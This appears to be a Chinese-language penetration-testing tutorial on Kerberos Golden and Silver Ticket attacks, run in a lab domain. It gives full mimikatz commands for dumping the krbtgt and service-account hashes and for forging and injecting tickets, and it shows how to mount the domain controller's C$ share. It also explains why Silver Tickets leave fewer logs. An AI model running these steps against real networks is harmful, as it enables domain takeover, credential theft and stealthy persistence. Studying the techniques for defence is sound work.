域渗透系列-票据传递(Pass the Ticket)攻击

image-20230120123857565

一、前言

票据传递攻击(Pass the Ticket),基于 Kerberos 认证的一种攻击方式,常用于获取域控权限后的持久化维持权限。其中分为黄金票据传递攻击,利用前提是得到了域内 krbtgt 用户的 NTLM 哈希值或 AES-256 的值)和白银票据传递攻击,利用的前提是得到了域内服务账号的 NTLM 哈希值或 AES-256 的值。

Kerberos

Kerberos 基于票据的身份认证方式,并非密码认证。客户端想要访问服务端的某个应用必须通过 Kerberos 进行票据身份认证。其主要由客户端(Client)、服务端(Server)、提供认证服务的KDC(Key Distribution Center)三部分组成。具体 Kerberos 认证过程请参考文章内网渗透学习–Kerberos认证


二、黄金票据(Golden Ticket)传递攻击

在 kerberos 认证过程中会生成一个 ST服务票据 ,可用于访问应用服务器。域中用户的ST服务票据均由 krbtgt 用户的密码 Hash 来计算生成的,krbtgt 账户的密码 hash 存储在域控制器上,因此我们需要获取域管理员权限,只要拿到了 krbtgt 密码 Hash 就可以随意伪造ST服务票据,进而使用ST服务票据访问域控制器,使用 krbtgt 用户 Hash 生成的票据被称为 黄金票据(Golden Ticket)。

制作黄金票据条件

1
2
3
4
域名
域sid值
需要伪造的域用户名
krbtgt 账户哈希值或AES-256值

黄金票据传递攻击实践

1、获取域管理员权限后,登录域控,查看是否存在 krbtgt 账号,尝试进行黄金票据传递攻击,实现权限持久化维持

1
2
net user
net user krbtgt

image-20230120123857565

image-20230120124116925

2、查看域信息

1
net config workstation

image-20230120125657793

3、获取 krbtgt 账号的 SID 值和哈希值,利用 mimikatz 进行获取

1
2
privilege::debug
lsadump::dcsync /domain:域名 /user:krbtgt

image-20230120130405535

4、整合域控信息如下

1
2
3
4
S-1-5-21-1359007890-1682372173-1631803504	# SID值
4a67f14d5cc4fa22618c8b609e832db6 # Hash NTLM 值
owa.redteam.red # 域主机名
redteam.red # 域名

5、制作黄金票据,利用 mimikatz 进行制作,此操作在域内任一主机上普通权限即可,现转至其中一个域成员 SQLSERVER-2008 计算机上操作

image-20230120131311827

在制作票据前,先将票据清空,防止之前的票据对新作的票据产生影响

1
kerberos::purge

image-20230123135302687

利用 mimikatz 生成黄金票据并导入

1
2
kerberos::golden /user:要伪造的域用户(一般填写域管理员) /domain:域名 /sid:域SID值 /krbtgt:krbtgt账户的hash值 /ptt
kerberos::golden /user:administrator /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /krbtgt:4a67f14d5cc4fa22618c8b609e832db6 /ptt

image-20230123135447067

查看票据是否已经生成导入

1
kerberos::list

image-20230123135528127

6、在导入票据的域内机器上,重新打开cmd窗口,直接列出域控目录

1
dir \\域控主机名.域名\c$

黄金票据攻击前

image-20230123142243785

黄金票据攻击后

image-20230123135725487

将域控主机 owa 的 c 盘映射到本地的 k 盘

1
net use k: \\域控主机名.域名\c$

image-20230123140050974

image-20230123140230369


三、白银票据(Silver Ticket)传递攻击

白银票据的利用过程是伪造 TGS,通过已知的授权服务密码(hash)生成一张可以访问该服务的TGT。即通过获取相应的服务账号的 hash 来伪造 TGS 给我们自己签发任意用户的 TGS 票据(service ticket),例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限,这个票据也被称为白银票据(Silver Ticket)。

制作白银票据条件

1
2
3
4
5
域名
域SID值
需要伪造的域用户(一般填写域管理员账号)
可利用的服务
服务账号的NTLM Hash值

白银票据传递攻击实践

白银票据伪造 CIFS 服务权限,CIFS 服务通常用于 Windows 主机之间的文件共享。

1、查看域信息

image-20230123185504423

2、获取域SID值和服务账号的 NTLM Hash

1
2
privilege::debug
sekurlsa::logonpasswords

image-20230123185650392

image-20230123185946330

4、整合域控信息如下

1
2
3
4
189988620695f11d6c9a91da29eda1f8		# NTLM HASH
S-1-5-21-1359007890-1682372173-1631803504 # SID 值
owa.redteam.red # 主机名
redteam.red # 域名

5、制作白银票据,利用 mimikatz 在域内成员主机上进行操作

1
2
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
kerberos::golden /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /target:owa.redteam.red /rc4:189988620695f11d6c9a91da29eda1f8 /service:cifs /user:admin /ptt

白银票据伪造 CIFS 服务攻击前

image-20230123191308558

白银票据伪造 CIFS 服务攻击后

image-20230123191525936


四、总结

黄金票据传递攻击与白银票据传递攻击两者区别在于

访问权限

1
2
黄金票据:伪造TGT,可以获取任何Kerberos服务权限
白银票据:伪造TGS,只能访问指定的服务

加密方式

1
2
黄金票据由 krbtgt 的 Hash 加密
白银票据由服务账号(通常为计算机账户)Hash加密

隐蔽性

1
2
白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志
白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,因此白银票据更加隐蔽

五、参考

1
2
3
https://www.freebuf.com/articles/web/341103.html
https://mp.weixin.qq.com/s/g-FEUXISYarj7ksYVxWCtg
https://blog.csdn.net/zzgslh/article/details/106896431